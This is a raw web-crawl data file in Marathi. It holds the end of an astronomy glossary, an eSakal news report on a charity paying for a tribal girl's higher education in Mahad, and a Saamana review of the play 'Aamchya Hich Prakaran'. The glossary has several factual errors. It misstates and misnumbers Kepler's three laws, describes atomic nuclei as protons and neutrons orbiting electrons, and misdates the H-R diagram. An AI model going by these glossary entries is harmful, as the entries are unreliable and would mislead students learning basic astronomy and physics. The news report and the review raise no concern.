क्रमांकावरील आणि वजनाने अतिशय हलका वायू. हिलियमच्या अणू गर्भामध्ये दोन प्रोटॉन्स आणि दोन न्यूट्रॉन्स हे दोन इलेक्ट्रॉन्सच्या भोवती फिरत असतात.\nअसा एक अवकाशीय काल्पनिक गोल जो क्षितिज, पृथ्वीचा विषुववृत्त किंवा आयनिक वृत्त ह्या ठिकाणी दोन भागांमध्ये विभागला गेला आहे.\nउत्तर दक्षिण ह्या दिशांवर ख-स्वस्तिक (निरीक्षकाच्या डोक्यावरील बिंदू) वरून पृथ्वीच्या विषुववृत्ताशी समांतर पातळीत वरून खाली टाकलेला लंब.\nएच आर डायग्राम (H-R Diagram)\nरंगात्मक दृश्य प्रतीचा आलेख. ज्यामध्ये एका विशिष्ट तार्‍याचे त्याच्या वर्णपटलावरून रंगावरून स्थान ठरविले जाते. रुसेल (Russell) आणि हर्टझस्पंग (Hertzsprung) ह्यांनी १९३१ मध्ये सर्वप्रथम हा आलेख तयार केल्यामुळे त्यांचे नाव देण्यात आले.\nहबलचा नियम - हबल्स लॉ (Hubble’s Law)\nह्या नियमानुसार आपल्या पासून सर्वात दूर असणार्‍या आकाशगंगा ह्या तितक्याच वेगाने दूर जात आहेत.\nवजनाने हलका आणि ज्वलनशील वायू. हायड्रोजनच्या अणू गर्भामध्ये एक प्रोटॉन आणि एक इलेल्ट्रॉन असतो. मध्यभागी फक्त एक प्रोटॉन असतो. सूर्याचा ७५ टक्के भाग हायड्रोजनचा आहे. तर पृथ्वीवर ह्याचे प्रमाण फारच अत्यल्प आहे. हायड्रोजन हा विश्व निर्मितीतील महत्त्वपूर्ण भाग आहे. प्रचंड हायड्रोजन असलेल्या वायूच्या ढगापासून तार्‍यांची निर्मिती होते.\nपृथ्वीला गृहीत धरून इतर ग्रहांच्या फिरण्याच्या कक्षेचा कल म्हणजे इंक्लिनेशन.\nइंटरस्टेलार मीडिअम (Interstellar Medium)\nदोन तार्‍यांच्या मध्ये असलेला वायू आणि धूळ.\nवेडीवाकडी आकाशगंगा (Irregular Galaxy)\nअशा आकाशगंगा ज्यांना कोणताही पद्धतशीर आकार नाही.\nवातावरणातील तापमान मोजण्यासाठी खगोलशास्त्रामध्ये केल्विन हे मापक वापरले जाते. पाण्याचे बर्फ होण्याच्या पातळीपर्यंत केल्विन मापक हे साधारण सेल्सियस ह्या मापका सारखेच आहे. शून्य सेल्सियस म्हणजे २७३ डिग्री केल्विन होय. पूर्णतः शून्य म्हणजे सर्वात जास्त थंड तापमान. शून्य डिग्री केल्विन म्हणजेच -२७३. १६ डिग्री सेल्सियस.\nकेप्लरचा पहिला नियम (Kepler’s First Law)\nसूर्यापासून निघालेला प्रकाश सर्व दिशांना सारख्याच वेगाने आणि सारख्याच वेळात जातो.\nकेप्लरचा दुसरा नियम (Kepler’s Second Law)\nग्रहांची सूर्य प्रदक्षिणा करण्याचा कक्ष सूर्य केंद्रित आणि लंब गोलाकार आहे.\nकेप्लरचा तिसरा नियम (Kepler’s Third Law)\nग्रहांच्या भ्रमण कक्षेचा वर्ग हा त्याच्या सूर्यापासून असणार्‍या अंतराच्या घनाच्या प्रमाणात बदलतो.\n१ किलोमीटर = १००० मीटर = १०५ सेंटिमीटर = ०. ६२ मैल.\nम्हणजेच १००० पार्सेक अंतर.\nधुलिकण आणि बर्फकणांची एक गोलाकार कडा जीची कक्षा नेप्च्यून ग्रहाच्या पुढे आहे. क्युपरबेल्ट मधील मूलकण हे सूर्यमालेच्या निर्मितीच्या वेळेचे अवशेष असल्याचे मानले जाते. काही खगोलशास्त्रज्ञ प्लुटो आणि त्याचा उपग्रह शेरॉन यांनाच क्युपरबेल्ट मधील गोष्टी मानतात.\nफ्रेंच गणितज्ञ आणि खगोलशास्त्रज्ञ जोसेफ लुईस लगरांज यांनी असे दाखवून दिले की तीन वेगवेगळ्या ठिकाणच्या वस्तू समांतर त्रिकोणी अंतरावरून एकाच पातळीत फिरू शकतात. समजा एका वस्तूचे वस्तुमान इतर दोन वस्तूच्या मानाने जास्त असेल तर एकमेकांपासूनचे त्यांचे समांतर त्रिकोणी अंतर देखिल बदलते.\nलेंटिक्युलर आकाशगंगा (Lenticular Galaxy)\nचकतीच्या आकाराच्या आकाशगंगा ज्यांचा आकार पद्धतशीर असेलच असे नाही. ह्या प्रकारातील आकाशगंगेचा कल हा लंब वर्तुळाकार असण्यावर असतो.\nम्हणजे प्रकाशाने एका वर्षात केलेला प्रवास. प्रती सेकंद प्रकाश ३,००,००० किलोमीटर (६७१ दशलक्ष मैल प्रती तास). म्हणजे एक प्रकाश वर्ष म्हणजे ९.४६०५३E१२ किलोमीटर, ५,८८०,०००,०००,००० मैल किंवा ६३.२४० खगोलीय एकक (63,240 A.U.)\nग्रह किंवा इतर अवकाशीय वस्तूंची बाहेरील कडा अथवा कवच.\nस्थानिक समूह (Local Group)\nआपल्या आकाशगंगे सारख्या साधारण डझनावारी आकाशगंगांचा एक छोटासा समूह.\nतार्‍यापासून मिळणारा एकूण प्रकाश.\nएक अशी घटना ज्यावेळेस चंद्रावरून पृथ्वीची सावली जाते. पृथ्वीच्या सावलीमुळे अर्धप्रमाणात झाकलेल्या चंद्र ग्रहणास खंडग्रास चंद्र ग्रहण असे म्हटले जाते. तर पृथ्वीच्या सावलीमुळे पूर्णतः झाकलेल्या चंद्र ग्रहणास खग्रास चंद्र ग्रहण असे म्हणतात.\nचंद्र महिना (Lunar Month)\nदोन पूर्णतः अमावास्या किंवा पौर्णिमा यांच्यामधील सरासरी काळ. एक चंद्र महिना २९ दिवस, १२ तास आणि ४४ मिनिटांचा असतो.\nदोन पूर्ण चंद्र भ्रमणातील अथवा एक अमावास्या ते दुसरी अमावास्या या काळामधील मध्यांतर. चंद्रकाळ हा २९ दिवस, १२ तास आणि ४४ मिनिटांचा असतो.\nआपल्या आकाशगंगेच्या बाहेरील थोड्या अंतरावरील दोन वेड्यावाकड्या आकाशगंगा. ह्या दोन आकाशगंगा पृथ्वीच्या दक्षिण गोलार्धातून दिसतात.\nचुंबकिय क्षेत्र (Magnetic Field)\nविद्युतभारित कणांमुळे हे क्षेत्र तयार होते. पृथ्वीच्या मानाने सूर्याचे चुंबकिय क्षेत्र फार मोठे आहे. ह्या चुंबकिय क्षेत्राचे उत्तर आणि दक्षिण बिंदू पृथ्वीच्या उत्तर आणि दक्षिण गोलार्धात आहेत.\nचुंबकिय ध्रुव (Magnetic Pole)\nचुंबकिय क्षेत्रातील उत्तर आणि दक्षिण बिंदू.\nअवकाशामधिल एखाद्या तार्‍याच्या अथवा इतर गोष्टीच्या दिसणार्‍या प्रकाशावरून त्या तार्‍याची अथवा त्या गोष्टीची प्रत ठरविली जाते. उघड्या डोळ्यांना दिसणारा सर्वात प्रखर तारा -१. ४ प्रतीचा तर अतिशय फिकट तारा ६ प्रतीचा तारा मानला जातो. ह्या प्रकारामध्ये प्रत्येक प्रत ही आधीच्या प्रतीच्या २. ५ प्रखर आहे. म्हणजेच नुसत्या डोळ्यांनी पाहिल्यास १ प्रतीचा तारा हा ६ प्रतीच्या तार्‍याच्या १०० पटीने प्रखर असतो.\nएखाद्या वस्तूमध्ये असणार्‍या सर्व गोष्टी, हे त्यामधील अंतर्गत मूलद्रव्य अथवा त्याचा दुसर्‍या वस्तूवरील गुरुत्वाकर्षणाचा प्रभाव यावरून ठरविले जाते.\nवस्तू - मॅटर (Matter)\nअशी गोष्ट ज्याला वस्तुमान आहे.\nएक काल्पनिक गोल रिंगण जे उत्तर दक्षिण दिशांमधून जाते व ज्यामुळे पूर्व व पश्चिम असे आकाशाचे दोन भाग पडतात. तसेच हे रिंगण निरीक्षकाच्या जागेवर देखिल अवलंबून आहे.\nफ्रांस मध्ये त्याकाळामध्ये चार्ल्स मेसिअर नावाचा प्रसिद्ध खगोलशास्त्रज्ञ होऊन गेला. तो जास्त प्रसिद्ध होता तो धूमकेतू शोधण्यामुळेच, त्याने अनेक धूमकेतू शोधून काढलेत. अनेकवेळा नवीन धूमकेतू शोधताना त्याला अवकाशात अनेक फिकट लहान पुंजके आढळत. ज्यामुळे त्याला त्याच्या कामामध्ये अडचण होत असे कारण ते धूमकेतू प्रमाणेच दिसत. हाच त्रास त्याकाळात इतर अवकाश निरीक्षकांना देखिल होत असे. म्हणून मग पुढे त्याने ह्या ११० पुंजक्यांची एक यादीच तयार केली. प्रत्येक पुंजक्याच्या नावापुढे त्याने आपल्या नावातील 'M' हे अक्षर लावले. उदा. देवयानी तारकासमुहा जवळ असलेल्या आकाशगंगेला त्याने 'M३१' हे नाव दिले.\nपृथ्वीच्या वातावरणात असलेले लहान दगड अथवा बर्फाच्छादित धुळीकण.\nलहान दगड अथवा बर्फाच्छादित धुळीकण धूमकेतूमुळे त्याच्या कक्षेच्या मागे राहतात व पृथ्वी जेव्हा ह्या कक्षेमध्ये येते त्यावेळेस पृथ्वीच्या गुरुत्वाकर्षणाने ते पृथ्वीकडे खेचले जातात. वातावरणामध्ये प्रवेश करताच ते घर्षणाने पेट घेतात व नष्ट होतात. परंतु आकाराने मोठ्या असलेल्या उल्का कधीकधी पृथ्वीवर येऊन पडतात. यालाच उल्का पडणे असे म्हणतात. काही ठराविक दिवशी उल्का पडण्याचे प्रमाण वाढलेले दिसते ज्यास उल्का वर्षाव असे म्हणतात.\nअवकाशामध्ये असलेला धुळीचा आणि वायूचा ढग यामध्येच पुढे मग गुरुत्वाकर्षण निर्माण होऊन नवीन तार्‍यांचा जन्म होतो.\nन्यूट्रॉन तारा (Neutron Star)\nएका स्फोट झालेल्या तार्‍याचा गुरुत्वाकर्षणाने दाबून लहान झालेला गाभा, ज्यामध्ये फक्त न्यूट्रॉन हे मूलकण असतील. न्यूट्रॉन तार्‍याची गुरुत्वाकर्षण शक्ती प्रचंड असते. काही वेळेस हे तारे स्पंदने देखिल देतात. ज्यांना पल्सार असे म्हणतात.\nकोणताही विद्युतभार नसलेला मूलकण. एक न्यूट्रॉन हा एका इलेक्ट्रॉनपेक्षा १८३९ पट जड असतो.\nबाहेरून कोणताही दाब न दिल्यास एखादी सरळ रेषेमध्ये जाणारी वस्तू सारख्याच वेगाने आणि कालाने त्याच मार्गाने जात राहील.\nमुलबिंदू - न्युक्लियस (Nucleus)\nअणूचा धन विद्युतभारित गाभा. ज्यामध्ये प्रोटॉन्स आणि न्यूट्रॉन्स (हायड्रोजनचे सोडून) इलेक्ट्रॉन भोवती फिरत असतात.\nएखाद्या गोष्टीच्या विषुववृत्ताची पातळी आणि त्याच्या भ्रमणकक्षेच्या पातळीचा कोन.\nअवकाशातील एखाद्या गोष्टीमुळे दुसर्‍या गोष्टीचा प्रकाश अडणे. बहुतेकवेळा ग्रह मध्ये आल्यामुळे मागील तार्‍याचा प्रकाश अडविला जातो.\nधूमकेतूंचे उगमस्थान असलेला एक काल्पनिक गोल ज्याची कक्षा आपल्या सूर्यमालेच्या कक्षेच्या सीमेवर आहे. उर्टचा ढग हे नाव एका डच शास्त्रज्ञाच्या नावाने देण्यात आले ज्याने ही कल्पना मांडली.\nखुला तारकागुच्छ (Open Cluster)\nनवीन तार्‍यांचा समूह जो नुकताच तयार झाला आहे. ज्यांमध्ये अजून पुरेशी गुरुत्वाकर्षण शक्ती नाही काही खुला तारकागुच्छ तर वायूचे आणि धुळीचे ढग देखिल आढळतात ज्यापासून त्यांचा जन्म झाला.\nपृथ्वीवरून पाहिले असता एखादा ग्रह जेव्हा बरोबर सूर्याच्या विरुद्ध दिशेला जातो त्यास बर्हियुती असे म्हणतात.\nएखाद्या गोष्टीचा दुसर्‍या गोष्टीभोवती फिरण्याचा मार्ग.\nएखाद्या गोष्टीचा दुसर्‍या गोष्टीभोवती फिरून पुन्हा मूळ जागेवर येण्यासाठी लागणारा काळ.\nएखाद्या गोष्टीला दोन निराळ्या जागेवरून पाहिल्यास त्या गोष्टीच्या बदललेल्या जागेचा दिसणारा कोन.\nखगोलशास्त्रामध्ये वापरले जाणारे सर्वात मोठे अंतर. एक पार्सेक म्हणजे ३. २६ प्रकाशवर्ष.\nकाही प्रमाणात प्रकाश गडद छायेचा भाग. जो ग्रहणामुळे दिसतो.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00437.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/mumbai/help-hand-higher-education-mahad-tribal-students-138575", "date_download": "2018-09-25T17:23:41Z", "digest": "sha1:NCF5NWTFEW5PR4X5R36ZZCNTKZEJ6KA2", "length": 15463, "nlines": 182, "source_domain": "www.esakal.com", "title": "help hand for higher education of Mahad tribal students महाड आदिवासी विद्यार्थिनींच्या उच्च शिक्षणासाठी मदतीचा हात | eSakal", "raw_content": "\nमहाड आदिवासी विद्यार्थिनींच्या उच्च शिक्षणासाठी मदतीचा हात\nरविवार, 19 ऑगस्ट 2018\nउल्हासनगर : गेल्या तीन वर्षात तब्बल सोळा ग्रामीण क्षेत्रातील आदिवासी वाड्या-पाड्यात धाव घेऊन तेथील गरिबातील गरीब विद्यार्थ्यांना सर्व शैक्षणिक साहित्य-कपडे-धान्याची मदत करणाऱ्या उल्हासनगरातील एक हात मदतीचा ही संस्था महाड तालुक्या मधील पैशांअभावी शिक्षणापासून वंचित राहणाऱ्या एका आदिवासी विद्यार्थिनीच्या उच्च शिक्षणासाठी धावली आहे. या विद्यार्थीनिला तिचे पालक व शिक्षका सोबत उल्हासनगरात बोलवून तिला उच्च शिक्षणासाठी आर्थिक सह संपूर्ण शिक्षणाचा संच-कपडे याशिवाय येण्याजाण्याचा खर्च अशा मदतीचा हात देणाऱ्या या संस्थेने माणुसकीचे उदात्त उदाहरण घडवले आहे.\nउल्हासनगर : गेल्या तीन वर्षात तब्बल सोळा ग्रामीण क्षेत्रातील आदिवासी वाड्या-पाड्यात धाव घेऊन तेथील गरिबातील गरीब विद्यार्थ्यांना सर्व शैक्षणिक साहित्य-कपडे-धान्याची मदत करणाऱ्या उल्हासनगरातील एक हात मदतीचा ही संस्था महाड तालुक्या मधील पैशांअभावी शिक्षणापासून वंचित राहणाऱ्या एका आदिवासी विद्यार्थिनीच्या उच्च शिक्षणासाठी धावली आहे. या विद्यार्थीनिला तिचे पालक व शिक्षका सोबत उल्हासनगरात बोलवून तिला उच्च शिक्षणासाठी आर्थिक सह संपूर्ण शिक्षणाचा संच-कपडे याशिवाय येण्याजाण्याचा खर्च अशा मदतीचा हात देणाऱ्या या संस्थेने माणुसकीचे उदात्त उदाहरण घडवले आहे.\nपंधरा दिवसांपूर्वी एक हात मदतीचा या सामाजिक संस्थेचे संस्थापक-अध्यक्ष विजय कदम हे त्यांच्या टीम सोबत महाड तालुका वरंध येथील आदिवासी वाडीत शिकणाऱ्या गरीब विद्यार्थ्यांना शैक्षणिक साहित्य देण्यासाठी गेले होते. तेंव्हा याच वाडीतील भारती लक्ष्मण मोरे ही आदिवासी विद्यार्थीनी दहावी मध्ये चांगल्या गुणांनी उत्तीर्ण झाली आहे. तिला उच्च शिक्षणासाठी महाड तालुक्यातील ऋषीतंत्र विद्यालयात प्रवेश घ्यायचा आहे. पण तिचे आईवडील भातशेतीत मजुरी करत असून त्यांची आर्थिक परिस्थिती नसल्याने भारती उच्च शिक्षणा पासून वंचित राहणार आहे.\nआदिवासी वाडीतील शिक्षक नामदेव सुतार यांनी विजय कदम यांना दिली होती.\nविजय कदम उल्हासनगरात परतल्यावर त्यांनी संस्थेचे पदाधिकारी सदस्य यांची बैठक घेऊन त्यांना पैशांअभावी उच्च शिक्षणा पासून वंचित राहत असलेल्या भारती मोरे या विद्यार्थिनीची कहाणी सांगितली. त्या बैठकीत भारतीच्या उच्च शिक्षणाला मदतीचा हात देण्याचा निर्णय संस्थेने घेतला. आज एक हात मदतीचा या संस्थेच्या कार्यालयात पदाधिकारी जयेश बेलदार, निखिल बिजवे, विनोद सोनार, सुरेंद्र पंजाबी, राहुल वायकर, शुभदा पिंपळे, जया जाधव, शारदा जाधव, निशा भारती मोरे, तिचे आईवडील आणि शिक्षक दामोदर सोनार यांना बोलवून भारतीला प्रवेशासाठी आर्थिक मदत, संपूर्ण शिक्षणाचा संच, तिच्या सोबत आईवडीलांना नवीन कपडे, चादरी, ब्लॅंकेट असा मदतीचा हात दिला आहे. आदर्श ग्रामपंचायत वरंधच्या सरपंच संगीता सपकाळ, उपसरपंच अश्विनी देशमुख यांनी रितसर पत्र देऊन आदिवासी विद्यार्थीनी भारती मोरे हिच्या उच्च शिक्षणासाठी आर्थिक मदत केल्याबद्दल एक हात मदतीचा या संस्थेचे संस्थापक-अध्यक्ष विजय कदम यांचे आभार मानले आहेत.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nपक्षीमित्रांनी दिले सातभाई पक्षाला जीवदान\nनिजामपूर-जैताणे (धुळे) : माळमाथा परिसरातील लोणखेडे (ता.साक्री) येथील जिल्हा परिषद शाळेचे प्राथमिक शिक्षक, पक्षीमित्र राकेश जाधव, गोकुळ पाटील व कढरे (...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nतहसिलचा ताबा घेऊन तेथे आंदोलन करू असा इशारा : राजू देसले\nनांदगाव : तालुक्यातील प्रशासकीय यंत्रणा उदासीन असल्याने न्यायिक हक्काच्या मागण्यासाठी आज काढण्यात आलेला मोर्चा हा शेवटचा असून यापुढे मोर्चा...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00437.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.saamana.com/review-of-drama-aamchya-hi-ch-prakaran/", "date_download": "2018-09-25T16:57:16Z", "digest": "sha1:W6E7UAG7M2O2VFITCLW2DJRHNJXKK2YC", "length": 25649, "nlines": 273, "source_domain": "www.saamana.com", "title": "लोभसवाणी ‘ही’ | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : अंबाती रायडू अर्धशतकानंतर बाद\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nमराठी नाटय़ व्यवसायात नाटकांची पठडी ठरवण्याकडे खूप कल असतो. कुणीही नवीन नाटक करतोय म्हटलं की पहिला प्रश्न असतो काय आहे कॉमेडी कलाकृतीची वर्गवारी करणं ही या धंद्याची जुनी सवय. त्यात पुन्हा ती कलाकृती जन्माला घालणाऱया रंगकर्मींच्या रुचीप्रमाणे पठडीचा कयास बांधण्याची जुनी खोड आहे. ‘व्यक्ती आणि वल्ली’मधला नामू परीट म्हणतो ना ‘श्टोरी काय आहे… कॉम्डी की रडारड… आता पी. एल. साहेब लिवणार म्हणजे कॉम्डीच असणार की…’ं तसं. पण सध्याच्या काळात हा पठडींचा फरक मिटत चाललाय. एकंदरीतच समाजाचा वैयक्तिक सेन्स ऑफ ह्युमर वाढल्यामुळे की काय पण कोणत्याही विवेचनात, निरुपणात, सादरीकरणात हल्ली हास्यरस दिसतो. त्यामुळे आपला विषय मांडायला एखादी विशिष्ट पठडी हवी ही गरज आता उरली नाही. करमणूक ही पठडीमुळे होत नसून आशय, विषय आणि भावनेला हात घातल्याने होते हा समज नाहीसा झालेला आढळतो. राग, लोभ, मत्सर, द्वेश, करुणा, ममता, प्रेम, वियोग या सगळ्यांतून विविध प्रकारची करमणूक होऊ शकते.\nवरील सर्व भावनांचा एक अनोखा मेळ असलेलं नाटक चंद्रकांत लोकरे यांनी एकदंत क्रिएश्नस् या संस्थेतर्फे आणि दिलीप जाधव यांच्या अष्टविनायकच्या सहयोगाने नुकतंच रंगभूमीवर आणलं आहे. नाटक आहे ‘आमच्या हिचं प्रकरण’. आता नावाच्या विश्लेषणातच बघा आम्ही आहोत, ज्यांच्या ठायी करुणा संभवते, आमची ही आहे, जिच्या वाटय़ाला ममता आणि प्रेम आहे. एक प्रकरण आहे ज्यातून प्रेम, मत्सर, द्वेष हे सारं येतं आणि मग प्रकरणाचं कारण आहे जिथे लोभ, वियोग आणि राग येतो. लेखक सचिन मोटे यांनी हे नाटक या सगळ्या भावनांचा खेळ करत अत्यंत प्रामाणिकपणे लिहिलेलं आहे. मुळात त्यांनी ‘आमच्या हिचं प्रकरण’ हे कोणत्याही एका पठडीत बसवण्याचा प्रयत्न केलेला नाही. लेखकानेच पठडी ठरवली की मग नाटकातल्या पात्रांच्या रचनेत मर्यादा येतात. पात्र एका पद्धतीची होत जातात. ‘आमच्या हिचं प्रकरण’मध्ये हे होत नाही. मोटेंनी प्रत्येक पात्राच्या बॅकग्राऊंडचा विचार करून इथे पात्रं योजली आहेत. त्यामुळे ‘आमच्या हिचं प्रकरण’मधली सगळी पात्रं ही खरी वाटतात. दोन पात्रं ही अतिरंजीत असली तरी ती भावतात. कारण त्यांच्या तसं असण्याला या नाटकाच्या फॉर्ममध्ये एक लॉजिक आहे. म्हणूनच ‘आमच्या हिचं प्रकरण’ हे एक प्रामाणिक आणि चांगलं नाटक दिल्याबद्दल सचिन मोटे यांचं अभिनंदन.\nसचिन गोस्वामी यांनी हीच री पुढे ओढत ‘आमच्या हिचं प्रकरण’ उभं केलंय. सर्वसामान्य माणसाच्या आयुष्यात या नाटकात घडणाऱया घटना घडल्या तर तो सामान्य माणूस कसा रिऍक्ट होईल हे गोस्वामींनी हेरून बांधलंय आणि म्हणून ‘आमच्या हिचं प्रकरण’ प्रेक्षकांना जवळचं वाटतं. दिग्दर्शनात ही गोष्ट साधून सचिन गोस्वामींनी ‘आमच्या हिचं..’ यशस्वी केलंय. उगीचच कॉमेडीचा ऊहापोह त्यांनी जाणून टाळलाय. मुळात नाटकाच्या लिखाणातच घटनांची पेरणी अशी काही केलेली आहे की, हा ऊहापोह करण्याची गोस्वामींना गरजच भासली नसेल.\nअशा पद्धतीचं नाटक उभं करण्याकरिता ताकदीचे आणि वाहून न जाणारे कलाकार लागतात. इथे ‘आमच्या हिचं प्रकरण’ने बाजीच मारलीये. इथे ‘आमच्या’च्या भूमिकेत आहे निखिल रत्नपारखी. हा अत्यंत गुणवंत अभिनेता. निखिलने इथे समंजस नवऱयाची भूमिका इतकी सहज वठवलीये की तो नाटक करतोय असं वाटतच नाही. घडणाऱया प्रकारामुळे त्याची झालेली कुचंबणा ही अत्यंत स्वाभाविक वाटते. प्रकरणात अडकलेली ‘ही’ भार्गवी चिरमुले समतोल राखून साकारते. ‘हि’च्यातला अवखळपणा आता मध्यम वयात आल्यावर भार्गवीने केवळ व्हॉटस्ऍप वाचतानाच्या मुद्रभिनयातून दाखवलाय. ‘प्रकरण’ झालेला आनंद काळे हा आपल्या पहिल्यावहिल्या मोठय़ा व्यावसायिक नाटकात अगदी हवा तसा राजबिंडा ‘राजपरुष’ दिसलाय. ही त्या पात्ररचनेची गरज आहे. आनंदने आपलं पात्र अत्यंत चोख केलंय. ‘आमच्या हिचं प्रकरण’मध्ये लक्षात राहाते ती प्रकरणाची बायको झालेली जॉगर्स पार्कमधली आंटी नंदिता पाटकर. आविष्कारच्या समांतर नाटकांमधून आतापर्यंत कार्यरत असलेली ही अभिनेत्री या तद्दन व्यावसायिक नाटकात चमकून जाते. भाबडय़ा गृहिणीचं नंदिताने पकडलेलं बेअरिंग कमाल आहे. याव्यतिरिक्त आमची मुलगी म्हणून प्राजक्ता किशोर खूपच सहज सुंदर अभिनय करून जाते आणि प्रकरणाचा मुलगा मयूरेश खोले आईच्या वळणावर जात नंदिता सारखाच बेअरिंग पकडून उत्तम भूमिका करून जातो.\nप्रदीप मुळे यांनी उच्चभ्रू मराठी माणसाच्या घराचा हेवा वाटणारा देखावा उभा केलाय. मिथिलेश पाटणकरने ‘आमच्या हिचं प्रकरण’ याच्या मूडला धरून संगीत दिलेलं आहे. शीतल तळपदे पुन्हा ब्रॅण्डेड लायटिंग देऊन जातात. निर्मितीमूल्यांमध्ये कुठेही ‘आमच्या हिचं प्रकरण’ कमी पडत नाही. हुशार तंत्रज्ञ, गुणवंत कलाकार, प्रतिभावान दिग्दर्शक, प्रामाणिक लेखक आणि रवीनाना बागूलसारख्या सहनिर्मात्यांनी एकदंत आणि अष्टविनायकसारख्या मातब्बर संस्थांसोबत जमवलेली ‘ही’ एक लोभसवाणी भट्टी आहे.\n-नाटक – आमच्या ‘ही’चं प्रकरण\n-निर्मिती – अष्टविनायक आणि एकदंत क्रिएशन\n-निर्माते- दिलीप जाधव,चंद्रकांत लोहोरे\n– सहनिर्माते – रवीनाना बागुल\n– लेखक – सचिन मोटे\n– नेपथ्य – प्रदीप मुळ्ये\n– प्रकाशयोजना- शीतल तळपदे\n– सूत्रधार – मंगेश कांबळी\n– संगीत -मिथिलेश पाटणकर\n– दिग्दर्शक – सचिन गोस्वामी\n– कलाकार- भार्गवी चिरमुले, प्रसिद्धी किशोर, नंदिता पाटकर, आनंद काळे, निखील रत्नपारखी\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागील‘आयपीएल’मध्ये डावलले; काऊंटीमध्ये करून दाखवले\nसंबंधित बातम्या या पब्लिशरकडून आणखी\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून 